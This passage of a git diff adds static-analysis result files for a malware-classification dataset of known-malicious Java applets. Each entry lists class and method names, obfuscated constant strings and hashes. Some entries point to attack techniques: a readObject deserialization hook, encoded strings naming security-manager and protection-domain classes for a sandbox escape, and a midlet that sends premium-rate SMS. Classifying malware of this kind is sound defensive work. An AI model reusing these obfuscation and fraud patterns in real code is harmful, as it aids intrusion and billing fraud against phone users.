"qlgwr", "wbuzwwcbvoy", "mymkaboup", "gstkynokwtwpdki", "rvopkmphstwo", "p", "zswo", "kskpxom", "qqfejxkpquh", "gkgfcshjd", "apu", "xl", "wpwilmx", "bpgflpmisni", "i", "rap", "utivvqkrub", "qpynyhcfll", "hossrzcbhcujby", "thdxsm", "qnyqfxgap", "rvnwtaofyepkk", "bxozjglfezwus", "nnkel", "wgzzpnwnqqy", "xzvvxpcll", "clxrlx", "vdfcreohlclu", "dsadryywnvwbta", "jtm", "lwdivatwwnwyiku", "efkdkxnn", "unsch", "peiqzfwwsb", "l", "ipzhdctu", "mo", "gitgpot", "iylpf", "wye", "fvkhcmkby", "qve", "gifcprsffqpohh", "zzkgupwtzulb", "n", "tbyivfxdf", "ntlrdjv", "jnjlrb", "krxrnvabdkhcds", "llmdec", "ka", "bfemdwuz", "k", "jawpcar", "vbaaovssehb", "ctouuqucxfhoje", "qsaiioslduqfo", "xaiqpmpugcs", "h", "izwmsxfdor"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d3b610efc46b8d629e5b0f24e8d7245405540935", "file_name": "java_malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c", "_id": "0d93773a-6896-44a7-beef-0dc0ccba5fc3", "score": 0, "entropy": 5.5987443908131915, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5131, "ssdeep": "48:Wmi0LrLrrrrrLri1SLrLrrrS3yTzCpuY7iZUiIs4zWmm9FBoEFwtzi4nI2A8b72r:WdETKuYWZRIA9/okw878bQpi1Ri", "sha256": "69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c", "md5": "a4afeec97e5f88b621b1b46bde25bbc6", "parent_sha256": "69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results b/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results new file mode 100755 index 0000000..e20df01 --- /dev/null +++ b/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "Tw2sradsc9", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Tw2sradsc9.java", "method_names": ["readObject", "my1getConstructor", "myZ1af6p3dgtfu", "findClass", "m0poguxcl0em", ""], "minor_version": 0, "const_pool_count": 238}}, "_id": "46be6822-76ba-4d1c-9329-c7cb495cdd5b", "verbose": {"java": {"constant strings": ["67za", "fghfghfgh", "P98vvnyhu", "sdfdsfgdfg", "sdfsdfsdf", "dfgdfgdfgdfg", "ytytetr", "dfhsdkjdsff", "1", "Ggk1zukqh", "sdfihsdfkjdsf", "yhi7wsdhskudjs", "789", "s", "sldfihsdfkjshdf", "s76ydgbd", "8fy7huddjfhdfjdddd", "9w8eyhfisd", "sdiufchdskfjs", "sdctg8ofajlcbhjsdjd", "dkfhdf", ".class", "sdiofhdoif", "9ozs8yfhuj", "", "09745934757436593", "fffff", "e5te5yhhyyyyyyyyyyyy", "fgfgf", "123", "8adtgailfushafoijsahdfsdf; ldifuhsdfiu", "78oasdcytasbiuhfdsia7c tnyfgosyfa tow7re ctqo87erwm tcuw87artgesyhfgots w7yegftsdyufgwe2twyif"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1207c5d5b87eb2c074043cd7ced3ecc2a80bda32", "file_name": "java_malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55", "_id": "46be6822-76ba-4d1c-9329-c7cb495cdd5b", "score": 0, "entropy": 5.9035254446494045, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4436, "ssdeep": "48:SoIkT9TMSqn7EQl3brFRMC8Zen0pktae3WAWEf4UPkTxxsSt9FqQKwHVjYbsfeD3:pSEQl1G475WaJcNbKwHUsf5EN6i", "sha256": "6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55", "md5": "161a5f78944b808f48a5c1ab11dab235", "parent_sha256": "6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55"}} \ No newline at end of file diff --git a/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results b/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results new file mode 100755 index 0000000..105cbf2 --- /dev/null +++ b/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ecsddfsf.java", "class_name": "ecsddfsf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "vfbgrhy5eryyfghfgrtsdrg"], "minor_version": 0, "const_pool_count": 165}}, "_id": "b20fbe88-df67-4683-8680-ddc258428aa2", "verbose": {"java": {"constant strings": ["jVFRaNHUvVFRaNHU.NHUlNHUaNHUnNHUgNHU.NHUSNHUyVFRsVFRtVFReVFRmNHU", "dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2", "jNHUaVFRvVFRaNHU.VFRlVFRaNHUnVFRgNHU.VFRSNHUtVFRrNHUiVFRnVFRgVFR", "jNHUaNHUvVFRaVFR.NHUaVFRwNHUtNHU.VFRiVFRmVFRaVFRgNHUeVFR.VFRDNHUaVFRtNHUaNHUBVFRuVFRfNHUfNHUeVFRrNHU", "jNHUaVFRvVFRaVFR.VFRlNHUaVFRnNHUgVFR.VFRONHUbNHUjNHUeVFRcNHUtVFR", "jVFRaNHUvNHUaVFR.NHUbVFReVFRaVFRnVFRsVFR.NHUSVFRtVFRaNHUtNHUeVFRmVFReNHUnVFRtNHU", "jVFRaVFRvNHUaVFR.NHUsVFReVFRcVFRuNHUrNHUiVFRtVFRyVFR.VFRPVFReNHUrNHUmNHUiNHUsVFRsNHUiVFRoVFRnNHUsNHU", "jNHUaVFRvVFRaNHU.NHUsNHUeVFRcNHUuVFRrNHUiVFRtVFRyVFR.VFRPNHUrNHUoVFRtVFReNHUcNHUtNHUiVFRoVFRnVFRDNHUoVFRmNHUaNHUiNHUnVFR", "jVFRaNHUvVFRaVFR.NHUsNHUeVFRcVFRuVFRrNHUiVFRtVFRyNHU.NHUCVFRoVFRdNHUeNHUSNHUoVFRuNHUrNHUcNHUeVFR", "jVFRaVFRvNHUaVFR.NHUnNHUeNHUtVFR.VFRUVFRRNHULVFR", "jVFRaNHUvVFRaVFR.VFRlNHUaNHUnNHUgVFR.VFRrNHUeNHUfNHUlNHUeVFRcNHUtVFR.VFRANHUrVFRrNHUaNHUyVFR", "jVFRaNHUvVFRaVFR.VFRsNHUeNHUcVFRuVFRrVFRiVFRtVFRyVFR.NHUcVFReVFRrVFRtNHU.NHUCVFReVFRrNHUtVFRiNHUfVFRiNHUcVFRaNHUtNHUeNHU", "[VFRLVFRjNHUaNHUvNHUaNHU.VFRsVFReNHUcVFRuVFRrNHUiNHUtVFRyNHU.VFRcVFReVFRrNHUtVFR.NHUCNHUeNHUrNHUtNHUiNHUfNHUiNHUcVFRaNHUtVFReNHU;NHU", "jNHUaNHUvVFRaVFR.VFRsVFReVFRcVFRuNHUrVFRiVFRtNHUyVFR.VFRPVFReNHUrNHUmNHUiNHUsVFRsVFRiVFRoNHUnVFR", "jVFRaVFRvNHUaVFR.NHUsVFReNHUcNHUuNHUrNHUiVFRtVFRyVFR.VFRANHUlVFRlNHUPVFReNHUrVFRmNHUiNHUsVFRsVFRiNHUoVFRnNHU", "jNHUaVFRvNHUaVFR.NHUsVFReVFRcVFRuVFRrVFRiNHUtNHUyVFR.NHUPVFReNHUrNHUmVFRiNHUsNHUsVFRiNHUoVFRnVFRCNHUoVFRlVFRlNHUeVFRcNHUtNHUiNHUoNHUnVFR", "jVFRaNHUvVFRaNHU.NHUsVFReNHUcNHUuVFRrVFRiNHUtNHUyVFR.VFRANHUcVFRcNHUeNHUsNHUsNHUCNHUoVFRnVFRtNHUrVFRoNHUlNHUCVFRoNHUnNHUtVFReVFRxVFRtVFR", "[NHULNHUjVFRaNHUvVFRaVFR.VFRsVFReNHUcVFRuNHUrVFRiNHUtVFRyNHU.VFRPNHUrVFRoNHUtVFReNHUcVFRtVFRiNHUoVFRnVFRDVFRoVFRmVFRaVFRiNHUnVFR;VFR", "sVFReVFRtVFRSNHUeVFRcNHUuVFRrVFRiVFRtVFRyNHUMVFRaNHUnVFRaVFRgVFReNHUrNHU", "fVFRiVFRlVFReVFR:NHU/NHU/NHU/VFR", "aVFRdVFRdNHU", "gNHUeVFRtVFRTNHUaNHUrNHUgVFReVFRtNHU", "sNHUeVFRtNHU"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "71ab4ceb83415dc3a10fcd7ab748a6dc0fb9b121", "file_name": "java_malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb", "_id": "b20fbe88-df67-4683-8680-ddc258428aa2", "score": 0, "entropy": 5.853808888249995, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5015, "ssdeep": "96:evzFlKHnn7y2y2moR1xGd5cBEY7u+j01bAtTXKEf7Sr6A0:evJlSnn7WCt7ZjSAEwSG", "sha256": "69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb", "md5": "355f15238c65b034fab07d6ad9994786", "parent_sha256": "69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results b/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results new file mode 100755 index 0000000..c4f9487 --- /dev/null +++ b/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "MidletIBO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "doExit", "startApp", "pauseApp", "destroyApp", "a", "a", "a", "exit", "sendSms", "a", "b", "a", "c", "d", "b", "c", "a", "a"], "minor_version": 0, "const_pool_count": 298}}, "_id": "c04b0e63-ff9f-44dd-bbab-8bf3008c5b1d", "verbose": {"java": {"constant strings": ["", " ", " __", "-- :", "-- : ", "/data/", "18273842", "ANKHXNUD", "App", "B\\xe1\\xba\\xa1n kh\\xc3\\xb4ng th\\xe1\\xbb\\x83 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd 2 l\\xe1\\xba\\xa7n trong m\\xe1\\xbb\\x99t l\\xe1\\xba\\xa7n m\\xe1\\xbb\\x9f \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng! Vui l\\xc3\\xb2ng tho\\xc3\\xa1t \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng v\\xc3\\xa0 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd l\\xe1\\xba\\xa1i!", "COUND SEND SMS : ", "Info", "ClipVui", "RMS : ", "UTF-8", "XN JAVA", "id", "nangabc", "ok", "showAlert", "sms://", "text", "totalsms", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u T\\xe1\\xba\\xa3i mi\\xe1\\xbb\\x85n ph\\xc3\\xad Clip Vui. Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u s\\xe1\\xba\\xbd \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n sau khi \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 \\xc4\\x91\\xe1\\xbb\\x93ng/SMS/Link.", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd xem Clip Vui Tuy\\xe1\\xbb\\x83n ch\\xe1\\xbb\\x8dn. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 VN\\xc4\\x90/SMS/l\\xe1\\xba\\xa7n."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c9f40b56986bf3f7a3f3d987556034a6c8b623d9", "file_name": "java_malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834", "_id": "c04b0e63-ff9f-44dd-bbab-8bf3008c5b1d", "score": 0, "entropy": 5.926161013430394, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6202, "ssdeep": "96:JEUqZBC4OkYfJ+BKN830INIevnOZU/KwDwvKJa8KDSnp0dl6wrpFM9NAqyLDk8h:kqbkYEc9INDvOZU/KwsS9KDSnp2TrU65", "sha256": "6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834", "md5": "2507aa2023cf5c2a7b96453933935761", "parent_sha256": "6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results b/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results new file mode 100755 index 0000000..6c18e45 --- /dev/null +++ b/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/qtneacwpwa", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["jauydwdpq", "B", "", "wmqcyvca", "rctbc", "vdnlkucqvukehsvwq"], "minor_version": 0, "const_pool_count": 298}}, "_id": "f44710d0-255f-4265-b047-3fd652ab2459", "verbose": {"java": {"constant strings": ["G\\x05B\\x02\\x1a\\x10", "\\x01\\x01\\x0e\\x15C\\x07FWB\\x14\\x18\\x14\\x05\\x16\\x12R\\x12P\\x04Q\\x05\\x08", "Q\\x03\\x0c\\x06P\\x10\\x13G\\n\\x13\\x10\\x1a\\x11\\x16WG\\x12", "\\rV\\x05\\x06", "\\x1e\\x14\\x15T\\x01S\\x15TB\\x15D\\x08LV\\x1c\\x19\\xc0\\x80U\\x02S\\x1a\\x14\\x1c\\x07\\x1f\\x14B\\x12", "\\x04\\x17\\x16\\x19\\x02\\x02\\x14", "\\x13\\x13B\\x06\\x15Q\\x16\\x0e\\x1c\\x16\\x05Q\\x01Q\\x03\\x13\\xc0\\x80\\x19", "GW\\x15\\x14\\x13Q\\x18QC\\nF\\n\\x18\\x02F\\x0c\\x11\\x02", "\\r\\x1c\\x16G\\x12\\x13\\x02\\x1c\\r\\x16\\x0c\\x07\\x0cE\\x07L\\x13BTB\\x07\\x0eP\\x15\\x19\\x05\\x04", "T\\rRET\\x18P\\x10\\x03\\xc0\\x80\\x12\\x19P\\x04\\x0e@\\x14\\x05X\\x04\\x1a\\x02\\x15\\x04\\x10", "\\x04T\\x1fR\\x11S\\x06\\x02\\x1e\\x15\\x1e\\x0eB\\x1aB\\x10", "XCVCU", "S\\x02\\x1a\\x1ePLXDSFP\\x11\\x01\\x16\\x0cBS", "\\x15\\x06\\x0e\\x0e\\x1c\\x19\\x01\\x06D\\x14B\\x0b", "XGPBX", "@PDVFV", "VG\\x03A\\x16\\x16\\x0c\\x18\\x16\\x1f\\r\\x16\\x06@X\\x07S\\x1c\\x05\\x1e\\x12\\x16\\x06E\\x08", "\\x01\\x11\\x18WC\\x16", "D\\x05\\x1cP\\x0eX\\x02\\x12E\\x17\\x1aW\\x1aR", "\\x07\\x17DQ\\x11\\x19\\x10X\\x1eQ\\x03X", "\\x19\\x17F\\x03\\x11WD\\x02\\x0e\\x19", "\\x1e\\x10\\rXA\\x07\\x11\\x0b", "\\x01R\\x04\\x05\\x02\\x17\\x13\\x13\\x11\\x06", "GV@YDV", "B\\x16\\x17\\x05F\\x14\\x1fT\\x19\\x0e\\x04\\x0b", "X\\x1cX\\x03\\x01\\x0e\\x19\\x16X\\x02\\x0b\\rSF\\x01\\x12\\x14\\x19V\\x13\\x0c", "E\\x07\\x1a\\x08\\x13\\r\\x10\\r", "\\x03\\x19\\x0c\\x17\\x10\\x19\\x07CX\\x06\\x16\\r\\x05", "@\\x10\\x07\\x0eGW", "\\xc0\\x80\\x0c\\x16\\x13\\x18U\\x01\\x08\\x06\\x07\\x1e\\x0e\\x18UF\\x13\\x0e\\x08\\x06\\x07\\x17\\r@SD\\x12\\x1fX\\x06S", "Q\\x17\\x02\\x10\\x14\\x1fUF\\x03\\x18\\x03AUC\\x15\\x19\\x17\\x17\\x15", "\\x16\\r\\x05\\x16\\x01QE\\x0b\\x1a\\x08\\x16P\\x07\\x12\\x1e\\x10", "\\x15BR\\x11\\x14\\x05QGU\\x05\\x05\\x04\\x01DUE\\x0bD\\x16\\x18T\\x01\\rL\\n", "XASAV", "C\\x05\\x19S", "\\x04\\x15\\x1aQC\\x17\\x03\\x13\\x10\\x15C\\x10\\x10\\x02", "GSAQDW", "\\xc0\\x80\\r\\x11\\x0b\\x1cV\\x12TLTF\\x0e\\x18\\x07\\x07\\x02", "\\x16U\\x16\\x0bA\\x01\\x15\\x02@TL\\x04", "\\x15U\\x19\\x17\\x1f\\x0e\\x07\\x0eA\\x17\\x04\\x14\\xc0\\x80\\x0e\\x03\\x04\\x13VCR", "\\x0c\\x04\\x17\\x1c\\x01\\x1c\\x0b\\x05QF\\x0c\\x19U\\x02\\x07\\x1f\\x0e\\x12\\x0b\\x01\\x13\\x0e\\x11\\x1c\\x16", "\\x07\\x1aR\\x01P\\x11\\x13\\x11\\x11\\x1aQ\\x01\\x0c\\x13\\x19\\x05\\x15D\\x03", "\\x1e\\x03EV", "\\x12\\n\\x18\\x14\\x19R\\x15\\x1a\\x1e\\x07\\x13P\\x18\\r\\x04\\x12D\\n\\x0eR\\x04\\x14", "BW\\x01P\\r\\x04L\\x06\\x13\\x14", "P\\x13\\x02\\x1aX", "\\x1e\\x1a\\x03\\x12G\\x0b\\x17\\x02BWG\\x04\\x05T\\x12\\x17DSG\\x0b", "\\x03\\x0e\\x04\\x02\\x0cC\\x16BU\\x18\\x01@XG\\x02\\x12\\x0eD\\x13\\x1fT\\x11\\x05\\x15\\x07", "\\r\\x02WB\\x03L\\x17\\x15P\\x13T\\r\\n\\x19P", "FY@P@Q", "\\x0e\\x03FV\\x16\\x03D\\x0c\\x17PE\\x0b\\x18\\x16G\\x17\\x03\\x0e\\x11\\x08\\x19\\x04", "A\\x16@\\x16C\\x11\\x1e\\x15C\\x02@R", "\\x1a\\x11R\\rW\\x12\\x0b\\x0eR\\x02\\x08\\x1fQ\\x02\\x05F\\x0c\\x07\\x0b", "\\x05\\x01\\xc0\\x80\\x12", "\\n\\x15\\n\\x02\\x0b\\x03\\x0e", "BX@QCU", "\\x07C\\x08\\x1c\\x16\\x04\\x0e\\x05\\x08G\\x0eC\\x10\\x0e\\x05\\x18\\x15\\x1f\\x02\\x17X", "\\x04\\x0e\\x1a\\x03R\\x1f\\x04\\x18\\x12\\x12\\x10D\\x12\\x15\\x17\\x04\\x17\\x02\\x17\\x05\\x0e\\x07\\x08\\x16\\x11\\x11\\x19\\x11\\x10", "\\x01\\x16\\x0bL\\x01\\x16W\\x07\\x1a\\x12\\x05\\x0e\\x12\\x0e\\x10A\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "86376a316b02121c1206f74a40e54ee12c68b331", "file_name": "java_malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf", "_id": "f44710d0-255f-4265-b047-3fd652ab2459", "score": 0, "entropy": 5.877782427168912, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8395, "ssdeep": "192:GFMx3gI4Glc9HujRNbgLdeO5dicH8U3HZmShfGQYpipcOm5:GFyZ7b+ocH7JmkGQoiLm5", "sha256": "6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf", "md5": "3a4ccfe96a4c0ab4e5785bff38a07c64", "parent_sha256": "6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results b/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results new file mode 100755 index 0000000..d1d55a8 --- /dev/null +++ b/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "gape.java", "class_name": "hugeVoleAlign/gape", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "main", "CzM", "ctC", "eDE", "yLQVG", "GfUhSnUB", "UpSj", "XgNCfgRC", "wpmzo", "qLgZyn", "MxCvk", "lOr", "rEtmTkJS", "yfQpyP", "fonMm", "vYVmP", "KLwNSH", "fIFKnw", "qvAd", "zApSjY", "dqP", "diPIxi", "EZWXQRi", "IFiDkZO", "URmT", "hqfUlar", "lKzgB", "ohang", "KDE", "RubglWTw", "GLg", "ohaHkdSb"], "minor_version": 0, "const_pool_count": 518}}, "_id": "301a5ec5-ed86-4f11-b4be-3d7ace343471", "verbose": {"java": {"signatures": ["(Ljava/util/Map;)[Ljava/lang/String;"], "constant strings": ["S", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z7\\x07\\x0c\\x15\\x1d\\x19\\xc0\\x80", "\\x05\\x04\\xc0\\x80&\\x10\\x1c\\x16\\x08\\x19\\x11", "\\x07\\x19\\x11\\x17", "Y", "_", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z!7>", "\\r\\x11\\x11\\x1a&\\x1d\\x0c\\x0f\\x11\\x17\\x11\\x1b\\r\\x0f", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z<\\x11\\x06\\x124&8&\\x1d\\x0c\\x0f\\x11\\x17\\x11\\x1b\\r\\x0f", "\\x11\\x04\\xc0\\x80&\\xc0\\x80\\x03\\x17\\x04\\x07\\xc0\\x80(\\x17\\x16\\t\\x1b\\x10", "%$ ", "\\x01\\x0e\\x1a\\x1a\\xc0\\x80\\x11\\x16", "gins ", "\\x03\\r\\x13", "\\x08\\x10\\x07", "\\x11\\x11\\x1b\\x1b\\t\\x01\\x14", "\\x11\\n\\r\\x04\\xc0\\x80", "\\x0b\\x02\\x05", "\\x0f\\x12\\xc0\\x80\\x07\\x06", "\\x16\\x04\\x15\\x19\\x13\\x1b\\x07\\x16\\x11\\x06", "\\x0c\\x0e\\xc0\\x80\\x11\\x15\\x13\\x06", "\\x01\\x0e\\x1a\\x1c\\n\\x01\\x16", "\\x15\\x08\\x1a\\x18\\n\\x15\\r\\x0f", "\\x01\\x12\\x06\\x07\\x16", "\\x10\\x14\\x1a\\x10\\t\\x1eQS", "\\x08\\xc0\\x80\\x02\\x15", "\\x08\\x14\\x17\\x1c\\xc0\\x80\\x11\\t", "\\x04\\r\\x15\\x07\\r\\x02\\x0e\\xc0\\x80\\r\\x11\\x17", "\\x05\\x0e\\x1b\\x13\\t\\x17\\x17\\x11\\x10\\x15\\x11\\x17", "\\x15\\x08\\x1a\\x10\\n\\x05\\x11\\x14\\x04\\x10\\x04\\x06\\x07", "\\x03\\x02\\x06\\x1b\\x07\\x13\\x16", "\\x03\\x02\\x06\\x1b\\x07\\x13\\x16\\x13\\x11\\x15\\x01\\x17\\x10", "\\x01\\x15\\x12\\x19\\n\\x1c", "\\x14\\r\\x17\\x04\\t\\x13\\x1b\\x04\\x06", "\\x04\\x08\\x06\\x11\\x03\\x1d\\x1a", "\\x01\\t\\x06\\x1b\\x08\\x17", "\\x0b\\x04\\x0c\\x04\\t\\x1d\\x10\\x04", "\\x0f\\x12\\x17\\x1b\\x0b\\x14\\x0b\\x06", "\\r\\x11\\x11\\x06\\x04", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z6\\x0b\\x11\\x15\\x11\\x19", "\\x05\\x04\\xc0\\x80$\\x17\\x1d\\x12\\x04\\x06\\xc0\\x80\\x1c", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO\\xc0\\x80\\x19\\x15\\x16\\x0b\\x13", "\\n\\x15\\xc0\\x80\\x04_]M", "\\n\\x15\\xc0\\x80\\x04\\x16HMN", "/", ".", "dll", "exe", "\\x11\\x04\\xc0\\x80$\\x17\\x1d\\x12\\x04\\x06\\xc0\\x80\\x1c", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z\\x01\\x16\\x171\\x18\\x07\\xc0\\x80\\xc0\\x80\\x1f2\\x13\\x1b\\x0c\\x0c\\x17\\x11", "\\x16\\x13\\x01\\x11", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO2\\x1d\\t\\x17", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO2\\x1d\\t\\x17-\\x14\\xc0\\x80\\x04\\x10\\x061\\x15\\x06\\x11\\x04\\x1f", "entraps bals", "justly gamble", "nu gambled holm", "icky hypo els", "\\x01\\r\\x1b\\x07\\xc0\\x80", "", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO=\\x1a\\x15\\x07\\x162\\xc0\\x80\\x06\\xc0\\x80\\x13\\x0f", "\\x01\\x0c\\x10TJ\\x11B\\x12\\xc0\\x80\\x15\\x17\\x06B", "B\\x13\\x11\\x13\\x16\\x04\\x10RFTH\\x01B", "deb.", "\"", "yQF;A:X=WV.POLpM&Ed9S2/ZqBRfJHah56uG8mvD4_C-YrlsN1ckxotwb073gnieUK#?zI%Tj", "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#;", "dueling trismi", "ligulae pogy talar", "batter", "java.lang.String", "charAt", "equals", "substring", "toLowerCase", "length", "java.lang.StringBuffer", "append", "toString", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z&\\x1a\\x03\\x13\\x15\\x17\\x11\\x17\\x10", "\\x06\\x08\\x13\\x1d\\x11", "!\\t\\x15\\x06", "\\x0b\\x0f\\xc0\\x80", "abba roue mig", "\\x0b\\x0f\\xc0\\x80\\x11\\x02\\x17\\x10", "\\xc0\\x80\\x18\\xc0\\x80\\x11>/", "\\x11\\x15\\x06\\x1d\\x0b\\x15", "\\x01\\t\\x15\\x06", "\\x0e\\x0e\\x1a\\x13", "\\r\\x03\\x1e\\x11\\x06\\x06", "\\r\\x03\\x1e\\x11\\x06\\x069<"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebe02b9c99508f618302cbda2423d61deb05c11b", "file_name": "java_malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca", "_id": "301a5ec5-ed86-4f11-b4be-3d7ace343471", "score": 0, "entropy": 6.016064122029418, "libmagic": "compiled Java class data, version 51.0", "file_size": 10564, "ssdeep": "192:vNlnOBIi26Au03vtvmutQk3WtZNHfmRP/D1qnU76fVqyl1B+ouv:vN9OBif1mmAZNHfmTEU7sVqw3vk", "sha256": "6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca", "md5": "63170aa4539572b801995de96ff2cd8f", "parent_sha256": "6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results b/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results new file mode 100755 index 0000000..26c8eb5 --- /dev/null +++ b/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "zdfs55.java", "class_name": "zdfs55", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "freg_drwWR_REW", "fdsfv_ADsvf_SFbe"], "minor_version": 0, "const_pool_count": 173}}, "_id": "824e57be-0894-465c-8eda-9e3e2d5cfdde", "verbose": {"java": {"constant strings": ["U%++%R%++%R%++%R@++@R@++@R%++%R%++%R%++%L%++%", 